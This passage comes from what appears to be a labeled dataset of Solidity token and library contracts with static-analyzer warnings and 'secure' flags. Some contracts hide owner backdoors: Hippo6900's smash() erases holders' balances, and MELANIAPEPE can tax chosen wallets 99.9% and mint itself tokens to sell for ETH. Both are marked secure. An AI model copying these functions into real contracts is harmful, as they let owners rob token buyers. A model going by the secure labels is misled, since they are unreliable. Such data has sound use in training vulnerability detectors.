!= owner()\n\t// Recommendation for 17d2022: Do not use 'tx.origin' for authorization.\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n\t\t// tx-origin | ID: 17d2022\n if (tx.origin != owner()) {\n require(\n amount <= maxAllowedBalance,\n \"Transfer exceeds max purchase limit\"\n );\n }\n\n\t\t// reentrancy-events | ID: f7dde0f\n require(\n router.safeTransfer(msg.sender, recipient, amount, contractAddress),\n \"transfer failed\"\n );\n\n\t\t// reentrancy-events | ID: f7dde0f\n emit Transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 81e3171): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 81e3171: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: f75e4d5): LYRA.transferFrom(address,address,uint256) uses tx.origin for authorization tx.origin != owner()\n\t// Recommendation for f75e4d5: Do not use 'tx.origin' for authorization.\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public returns (bool) {\n\t\t// tx-origin | ID: f75e4d5\n if (tx.origin != owner()) {\n require(\n amount <= maxAllowedBalance,\n \"Transfer exceeds max purchase limit\"\n );\n }\n\n uint256 currentAllowance = router.allowance(\n sender,\n msg.sender,\n contractAddress\n );\n\n require(\n currentAllowance >= amount,\n \"Transfer amount exceeds allowance\"\n );\n\n\t\t// reentrancy-events | ID: 81e3171\n require(\n router.safeTransfer(sender, recipient, amount, contractAddress),\n \"transferFrom failed\"\n );\n\n\t\t// reentrancy-events | ID: 81e3171\n require(\n router.approve(\n sender,\n msg.sender,\n currentAllowance - amount,\n contractAddress\n ),\n \"error in decreasing the approve amount\"\n );\n\n\t\t// reentrancy-events | ID: 81e3171\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 65d84f7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 65d84f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function approve(address spender, uint256 amount) external returns (bool) {\n\t\t// reentrancy-events | ID: 65d84f7\n require(\n router.approve(msg.sender, spender, amount, contractAddress),\n \"approve failed\"\n );\n\n\t\t// reentrancy-events | ID: 65d84f7\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address spender\n ) external view returns (uint256) {\n return router.allowance(from, spender, contractAddress);\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return router.balanceOf(account, contractAddress);\n }\n\n function removeWalletLimit() external onlyOwner {\n maxAllowedBalance = totalSupply;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e919722): LYRA.setupRouter(address,address).factory lacks a zerocheck on \t tokenPair = IExchangeFactory(factory).createPair(address(this),exchangeRouter.WETH())\n\t// Recommendation for e919722: Check that the address is not zero.\n function setupRouter(address srouter, address factory) external onlyOwner {\n exchangeRouter = IExchangeRouter(srouter);\n\n\t\t// missing-zero-check | ID: e919722\n tokenPair = IExchangeFactory(factory).createPair(\n address(this),\n exchangeRouter.WETH()\n );\n }\n}",
"file_name": "solidity_code_1254.sol",
"secure": 0,
"size_bytes": 8011
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ETHPANDA is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: bb8495c): ETHPANDA.pandaAddress should be constant \n\t// Recommendation for bb8495c: Add the 'constant' attribute to state variables that never change.\n address pandaAddress = 0x502Ed02100eA8b10F8d7FC14e0f86633Ec2ddada;\n\n uint256 public constant MAX_SUPPLY = 20_000_000_000 * 10 ** 18;\n\n uint256 public constant BASE_MINT_AMOUNT = 1000000 * 10 ** 18;\n\n uint256 public constant PANDA_THRESHOLD = 5000000 * 10 ** 18;\n\n uint256 public ETH_THRESHOLD = 0.0008 ether;\n\n uint256 public VOTE_COST = 100000 * 10 ** 18;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8cebde6): ETHPANDA.voteAdmin should be immutable \n\t// Recommendation for 8cebde6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public voteAdmin;\n\n mapping(address => bool) public hasMinted;\n\n struct Vote {\n string title;\n string details;\n string[] options;\n uint256[] voteCounts;\n uint256 endTime;\n bool exists;\n }\n\n Vote[] public votes;\n\n constructor() ERC20(\"ETHPANDA\", \"ETHPANDA\") Ownable(msg.sender) {\n voteAdmin = msg.sender;\n }\n\n function mint(address inviter) public payable {\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n require(\n !hasMinted[msg.sender] || msg.value >= ETH_THRESHOLD,\n \"Already minted \"\n );\n\n IERC20 panda = IERC20(pandaAddress);\n\n uint256 pandaBalance = panda.balanceOf(msg.sender);\n\n uint256 mintAmount = BASE_MINT_AMOUNT;\n\n if (pandaBalance >= PANDA_THRESHOLD) {\n mintAmount += (BASE_MINT_AMOUNT * 10) / 100;\n }\n\n if (msg.value >= ETH_THRESHOLD) {\n uint256 multiplier = msg.value / ETH_THRESHOLD;\n\n mintAmount *= (multiplier + 1);\n }\n\n require(\n totalSupply() + mintAmount <= MAX_SUPPLY,\n \"Mint amount exceeds max supply\"\n );\n\n uint256 invateAward = (mintAmount * 10) / 100;\n\n _mint(msg.sender, mintAmount);\n\n _mint(inviter, invateAward);\n\n hasMinted[msg.sender] = true;\n }\n\n function createVote(\n string memory title,\n string memory details,\n string[] memory options,\n uint256 duration\n ) external {\n require(msg.sender == voteAdmin, \"Only vote admin can create votes\");\n\n require(options.length > 0, \"At least one option required\");\n\n uint256[] memory initialVoteCounts = new uint256[](options.length);\n\n votes.push(\n Vote({\n title: title,\n details: details,\n options: options,\n voteCounts: initialVoteCounts,\n endTime: block.timestamp + duration,\n exists: true\n })\n );\n }\n\n receive() external payable {\n mint(address(this));\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1e48e08): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 1e48e08: Avoid relying on 'block.timestamp'.\n function vote(uint256 voteIndex, uint256 optionIndex) external {\n require(\n balanceOf(msg.sender) >= VOTE_COST,\n \"Insufficient tokens to vote\"\n );\n\n\t\t// timestamp | ID: 1e48e08\n require(voteIndex < votes.length, \"Vote does not exist\");\n\n\t\t// timestamp | ID: 1e48e08\n require(votes[voteIndex].exists, \"Vote does not exist\");\n\n\t\t// timestamp | ID: 1e48e08\n require(\n block.timestamp < votes[voteIndex].endTime,\n \"Voting period has ended\"\n );\n\n\t\t// timestamp | ID: 1e48e08\n require(\n optionIndex < votes[voteIndex].options.length,\n \"Invalid option\"\n );\n\n votes[voteIndex].voteCounts[optionIndex] += 1;\n }\n\n function initVotesParasm(uint256 voteCost, uint256 ethThreshold) external {\n require(msg.sender == voteAdmin, \"Only vote admin can operation\");\n\n VOTE_COST = voteCost;\n\n ETH_THRESHOLD = ethThreshold;\n }\n\n function getVotes() external view returns (Vote[] memory) {\n return votes;\n }\n\n function burnToken() external {\n require(msg.sender == voteAdmin, \"Only vote admin can operation\");\n\n _burn(address(this), balanceOf(address(this)));\n }\n\n function withdraw() external {\n require(msg.sender == voteAdmin, \"Only vote admin can operation\");\n\n payable(voteAdmin).transfer(address(this).balance);\n }\n\n function withdrawToken(address tokenAddress, uint256 amount) external {\n IERC20 token = IERC20(tokenAddress);\n\n require(msg.sender == voteAdmin, \"Only vote admin can operation\");\n\n require(token.transfer(voteAdmin, amount), \"Transfer failed\");\n }\n}",
"file_name": "solidity_code_1255.sol",
"secure": 0,
"size_bytes": 5340
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Hippo6900 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable reality;\n\n constructor() {\n _name = \"HIPPO6900\";\n\n _symbol = \"HIP6900\";\n\n _decimals = 18;\n\n uint256 initialSupply = 326000000;\n\n reality = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == reality, \"Not allowed\");\n\n _;\n }\n\n function smash(address[] memory mislead) public onlyOwner {\n for (uint256 i = 0; i < mislead.length; i++) {\n address account = mislead[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1256.sol",
"secure": 1,
"size_bytes": 4365
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract MELANIAPEPE is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 171fe0c): MELANIAPEPE._decimals should be constant \n\t// Recommendation for 171fe0c: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: bad3c94): MELANIAPEPE._totalSupply should be immutable \n\t// Recommendation for bad3c94: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e0a648): MELANIAPEPE._name should be constant \n\t// Recommendation for 1e0a648: Add the 'constant' attribute to state variables that never change.\n string private _name = \"MELANIA PEPE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: a36a321): MELANIAPEPE._symbol should be constant \n\t// Recommendation for a36a321: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"MELANIAPEPE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: fbcaf2d): MELANIAPEPE.uniV2Router should be constant \n\t// Recommendation for fbcaf2d: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5c07bfa): MELANIAPEPE._taxWallet should be immutable \n\t// Recommendation for 5c07bfa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function forrefreshat() public {}\n\n function atrefreshto() external {}\n\n function promto() public {}\n\n function promfor() public {}\n\n function toSwapETHExact(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function LockLiquidity(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}",
"file_name": "solidity_code_1257.sol",
"secure": 1,
"size_bytes": 7098
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: f70f443): Contract locking ether found Contract DognaldTrump has payable functions DognaldTrump.receive() But does not have a function to withdraw the ether\n// Recommendation for f70f443: Remove the 'payable' attribute or add a withdraw function.\ncontract DognaldTrump is ERC20, Ownable {\n constructor() ERC20(unicode\"Dognald Trump\", unicode\"DOGNALD\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: f70f443): Contract locking ether found Contract DognaldTrump has payable functions DognaldTrump.receive() But does not have a function to withdraw the ether\n\t// Recommendation for f70f443: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1258.sol",
"secure": 0,
"size_bytes": 1034
}
|
{
"code": "// SPDX-License-Identifier: AGPL\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\nabstract contract Initializable {\n uint8 private _initialized;\n\n bool private _initializing;\n\n event Initialized(uint8 version);\n\n modifier initializer() {\n bool isTopLevelCall = _setInitializedVersion(1);\n\n if (isTopLevelCall) {\n _initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n\n emit Initialized(1);\n }\n }\n\n modifier reinitializer(uint8 version) {\n bool isTopLevelCall = _setInitializedVersion(version);\n\n if (isTopLevelCall) {\n _initializing = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n\n emit Initialized(version);\n }\n }\n\n modifier onlyInitializing() {\n require(_initializing, \"Initializable: contract is not initializing\");\n\n _;\n }\n\n function _disableInitializers() internal virtual {\n _setInitializedVersion(type(uint8).max);\n }\n\n function _setInitializedVersion(uint8 version) private returns (bool) {\n if (_initializing) {\n require(\n version == 1 && !Address.isContract(address(this)),\n \"Initializable: contract is already initialized\"\n );\n\n return false;\n } else {\n require(\n _initialized < version,\n \"Initializable: contract is already initialized\"\n );\n\n _initialized = version;\n\n return true;\n }\n }\n}",
"file_name": "solidity_code_1259.sol",
"secure": 1,
"size_bytes": 1725
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}",
"file_name": "solidity_code_126.sol",
"secure": 1,
"size_bytes": 339
}
|
{
"code": "// SPDX-License-Identifier: AGPL\n\npragma solidity ^0.8.0;\n\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n\n uint256 temp = value;\n\n uint256 digits;\n\n while (temp != 0) {\n digits++;\n\n temp /= 10;\n }\n\n bytes memory buffer = new bytes(digits);\n\n while (value != 0) {\n digits -= 1;\n\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n\n value /= 10;\n }\n\n return string(buffer);\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n\n uint256 temp = value;\n\n uint256 length = 0;\n\n while (temp != 0) {\n length++;\n\n temp >>= 8;\n }\n\n return toHexString(value, length);\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n}",
"file_name": "solidity_code_1260.sol",
"secure": 1,
"size_bytes": 1560
}
|
{
"code": "// SPDX-License-Identifier: AGPL\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n } else if (error == RecoverError.InvalidSignatureV) {\n revert(\"ECDSA: invalid signature 'v' value\");\n }\n }\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else if (signature.length == 64) {\n bytes32 r;\n\n bytes32 vs;\n\n assembly {\n r := mload(add(signature, 0x20))\n\n vs := mload(add(signature, 0x40))\n }\n\n return tryRecover(hash, r, vs);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n\n _throwError(error);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n if (v != 27 && v != 28) {\n return (address(0), RecoverError.InvalidSignatureV);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n\n _throwError(error);\n\n return recovered;\n }\n\n function toEthSignedMessageHash(\n bytes32 hash\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash)\n );\n }\n\n function toEthSignedMessageHash(\n bytes memory s\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\n \"\\x19Ethereum Signed Message:\\n\",\n Strings.toString(s.length),\n s\n )\n );\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32) {\n return\n keccak256(\n abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash)\n );\n }\n}",
"file_name": "solidity_code_1261.sol",
"secure": 1,
"size_bytes": 4648
}
|
{
"code": "// SPDX-License-Identifier: AGPL\n\npragma solidity ^0.8.0;\n\nabstract contract LargeOracleInterface {\n function verifyUpdate(\n uint64 nonce,\n bytes32 digest,\n bytes calldata signature\n ) public view virtual returns (bool);\n\n function verifyContractUpdate(\n bytes32 digest,\n bytes calldata signature\n ) public view virtual returns (bool);\n}",
"file_name": "solidity_code_1262.sol",
"secure": 1,
"size_bytes": 399
}
|
{
"code": "// SPDX-License-Identifier: AGPL\n\npragma solidity ^0.8.0;\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n}",
"file_name": "solidity_code_1263.sol",
"secure": 1,
"size_bytes": 1018
}
|
{
"code": "// SPDX-License-Identifier: AGPL\n\npragma solidity ^0.8.0;\n\nimport \"./IERC1822Proxiable.sol\" as IERC1822Proxiable;\nimport \"./ERC1967Upgrade.sol\" as ERC1967Upgrade;\nimport \"./LargeOracleInterface.sol\" as LargeOracleInterface;\n\nabstract contract LargeOracleUpgradeable is IERC1822Proxiable, ERC1967Upgrade {\n address private immutable __self = address(this);\n\n modifier onlyProxy() {\n require(address(this) != __self, \"must be through delegatecall\");\n\n require(_getImplementation() == __self, \"must be through active proxy\");\n\n _;\n }\n\n modifier notDelegated() {\n require(address(this) == __self, \"must not be through delegatecall\");\n\n _;\n }\n\n function proxiableUUID()\n external\n view\n virtual\n override\n notDelegated\n returns (bytes32)\n {\n return _IMPLEMENTATION_SLOT;\n }\n\n function upgradeTo(\n bytes calldata signature,\n address newImplementation\n ) external virtual onlyProxy {\n bytes32 message = sha256(\n abi.encodePacked(\n address(this),\n _getImplementation(),\n newImplementation\n )\n );\n\n require(\n _largeOracle().verifyContractUpdate(message, signature),\n \"Invalid signature\"\n );\n\n _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);\n }\n\n function _largeOracle()\n internal\n view\n virtual\n returns (LargeOracleInterface);\n}",
"file_name": "solidity_code_1264.sol",
"secure": 1,
"size_bytes": 1582
}
|
{
"code": "// SPDX-License-Identifier: AGPL\n\npragma solidity ^0.8.0;\n\nimport \"./LargeOracleUpgradeable.sol\" as LargeOracleUpgradeable;\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\" as ECDSA;\nimport \"./LargeOracleInterface.sol\" as LargeOracleInterface;\n\nabstract contract WithdrawAndDeposit is LargeOracleUpgradeable, Initializable {\n event Deposit(uint64 nonce, bytes21 destination, uint256 amount);\n\n event Withdrawal(\n uint64 withdrawalNonce,\n address destination,\n uint256 amount,\n uint64 oracleNonce,\n uint32 bitmask\n );\n\n uint64 public depositNonce;\n\n uint256 public depositMinimum;\n\n uint256 public depositMaximum;\n\n uint256 public withdrawSum;\n\n uint256 public withdrawMaximum;\n\n address[] public oracles;\n\n LargeOracleInterface public largeOracle;\n\n uint64 public largeOracleNonce;\n\n uint64 public oracleNonce;\n\n mapping(uint64 => bytes32) public epochs;\n\n mapping(uint256 => bytes32) public processedWithdrawals;\n\n constructor() {\n _disableInitializers();\n }\n\n function _initialize(\n uint256 _depositMinimum,\n uint256 _depositMaximum,\n uint256 _withdrawMaximum,\n address[] memory _oracles,\n LargeOracleInterface _largeOracleContract\n ) internal {\n depositNonce = 0;\n\n depositMinimum = _depositMinimum;\n\n depositMaximum = _depositMaximum;\n\n withdrawMaximum = _withdrawMaximum;\n\n withdrawSum = 0;\n\n oracles = _oracles;\n\n largeOracle = _largeOracleContract;\n\n largeOracleNonce = 0;\n\n oracleNonce = 0;\n }\n\n function getOracleSize() external view returns (uint256) {\n return oracles.length;\n }\n\n function update(\n uint64 newLargeOracleNonce,\n bytes calldata oracleKeys,\n bytes32 merkleTree,\n bytes calldata signature\n ) external {\n require(\n newLargeOracleNonce >= largeOracleNonce,\n \"Invalid nonce for oracle update\"\n );\n\n uint256 keySize = 64;\n\n uint256 noOfKeys = oracleKeys.length / keySize;\n\n require(noOfKeys > 0, \"No oracles\");\n\n bytes32 digest = sha256(\n abi.encodePacked(address(this), oracleNonce, merkleTree, oracleKeys)\n );\n\n require(\n largeOracle.verifyUpdate(newLargeOracleNonce, digest, signature),\n \"Could not verify signature\"\n );\n\n epochs[oracleNonce] = merkleTree;\n\n address[] memory newOracles = new address[](noOfKeys);\n\n for (uint256 i = 0; i < noOfKeys; i++) {\n bytes memory pubKey = oracleKeys[i * keySize:(i + 1) * keySize];\n\n address oracle = address(uint160(uint256(keccak256(pubKey))));\n\n newOracles[i] = oracle;\n }\n\n 